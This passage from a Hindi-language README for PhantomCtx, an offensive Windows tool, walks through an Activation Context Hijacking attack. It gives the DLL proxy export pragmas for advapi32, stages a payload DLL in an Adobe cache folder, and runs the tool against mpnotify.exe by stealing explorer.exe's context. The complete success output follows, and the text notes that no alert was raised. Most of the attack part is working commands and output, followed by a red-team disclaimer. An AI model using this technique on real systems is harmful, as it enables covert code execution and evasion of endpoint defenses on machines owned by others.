| 397    | `LzNvB`                      | `LzNvB`                       | `16.0.17331.20004`        | `Windows`      | सीमित आवधिक स्कैनिंग                                                                | `WSCStatusPlugin.dll`   | `WSCStatusPlugin.dll`   | `LzNvB`          |
| 398    | `FILE_NAME`                  | `LzNvB`                       | `16.0.17331.20004`        | `Windows`      | सीमित आवधिक स्कैनिंग                                                                | `eavWsc.dll`            | `eavWsc.dll`            | `LzNvB`          |
| 399    | `FILE_NAME`                  | `LzNvB`                       | `16.0.17331.20004`        | `Windows`      | सीमित आवधिक स्कैनिंग                                                                | `wsc.dll`               | `wsc.dll`               | `LzNvB`          |```c
C:\Users\rexmax\Documents\DLL Proxying>.\exports.py dllexp\report.html
#pragma comment(linker,"/export:A_SHAFinal=advapi32_orig.A_SHAFinal,@1002")
#pragma comment(linker,"/export:A_SHAInit=advapi32_orig.A_SHAInit,@1003")
#pragma comment(linker,"/export:A_SHAUpdate=advapi32_orig.A_SHAUpdate,@1004")
<SNIP>

आउटपुट से सभी एक्सपोर्ट्स को payload.c के सोर्स कोड में कॉपी किया जाता है, जिसके बाद DLL को कंपाइल किया जाता है और PhantomCtx के साथ-साथ हमलावर मशीन पर रखा जाता है, साथ ही मूल लाइब्रेरी की एक कॉपी जिसे advapi32_orig.dll नाम दिया गया है।

आवश्यक फ़ाइलों को निम्नानुसार व्यवस्थित किया जाना चाहिए:```c C:\Users\rexmax\Documents\WindowsInternals\PhantomCtx\x64>dir

06/13/2026 08:53 PM 158,208 advapi32.dll 06/10/2026 01:52 AM 753,544 advapi32_orig.dll 06/13/2026 08:28 PM 198,144 PhantomCtx.exe

फ़ाइलों को फिर विंडोज 11 लक्ष्य मशीन पर एक निर्देशिका में स्थानांतरित किया जाता है। इस मामले में, उन्हें इसमें डाला जाता है:```
C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache

इसके बाद, mpnotify.exe बाइनरी के विरुद्ध PhantomCtx का उपयोग करके Activation Context Hijacking की जाती है:```c C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path "C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll" [SUCCESS] Found 'explorer.exe' PID 6380 [SUCCESS] Opened handle to PID 6380 [SUCCESS] Activation Context Data Blob copied to local heap buffer @000002B135B26AA0 (8276 bytes) [INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2054 [INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll' [+] 'advapi32.dll' not found -> adding new entry. [ADD] DLL key : advapi32.dll [ADD] Redirect path : C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll [ADD] PseudoKey : 0xF60E87FC [ADD] RosterIndex : 1 [ADD] ElementCount : 3 [ADD] TotalSize : 0x2054 -> 0x2166 [SUCCESS] Blob patched. New TotalSize = 0x2166

[INFO] Patched ActivationContextData:

[SUCCESS] Suspended process created... [INFO] Original PEB.ActivationContextData = 0000021D10BA0000 [SUCCESS] Patched blob written to section (8550 bytes) [SUCCESS] Original Activation Context region unmapped @ 0000021D10BA0000 [SUCCESS] Patched Activation Context mapped at 0000021D10BA0000 (same address) [SUCCESS] Target process resumed.

इस मामले में, पेलोड DLL `calc.exe` को निष्पादित करता है। कोई अलर्ट उत्पन्न नहीं हुआ।

![](https://assets.kitploit.com/production/public/readmes/8764/520c6f0b907c6e07fef747a8e0139a9f268f0a83fab1964b4d0e28a144144d93.png)

![](https://assets.kitploit.com/production/public/readmes/8764/de01fe20cd0f075525a0cd388b47d0cf4435f54119b87fab0363c5e82b2663d7.png)

# अस्वीकरण

यह उपकरण **व्यक्तिगत शैक्षिक उद्देश्यों** के लिए विकसित किया गया था और इसका उपयोग केवल **अधिकृत वातावरण** में काम कर रहे सुरक्षा पेशेवरों और रेड टीम ऑपरेटरों के लिए है।

PhantomCtx का बिना स्पष्ट अनुमति के सिस्टम के खिलाफ उपयोग **अवैध** और सख्ती से निषिद्ध है। लेखक इस उपकरण द्वारा किए गए किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है।

# संदर्भ
- [Activation Context Hijack by Kurosh Dabbagh - Navaja Conference](https://www.youtube.com/watch?v=qu4fXWKjabY)
- [Activation Context Hijack ‘Eclipse’ Loader](https://github.com/Kudaes/Eclipse)
- [NtDoc](https://ntdoc.m417z.com/)
- [ReactOS Source Code](https://github.com/reactos/reactos)
- [Windows Internals Book](https://learn.microsoft.com/en-us/sysinternals/resources/windows-internals)

PhantomCtx

सबसे लोकप्रिय

PhantomCtx

उपयोग: मॉड्यूल-आधारित कार्यप्रवाह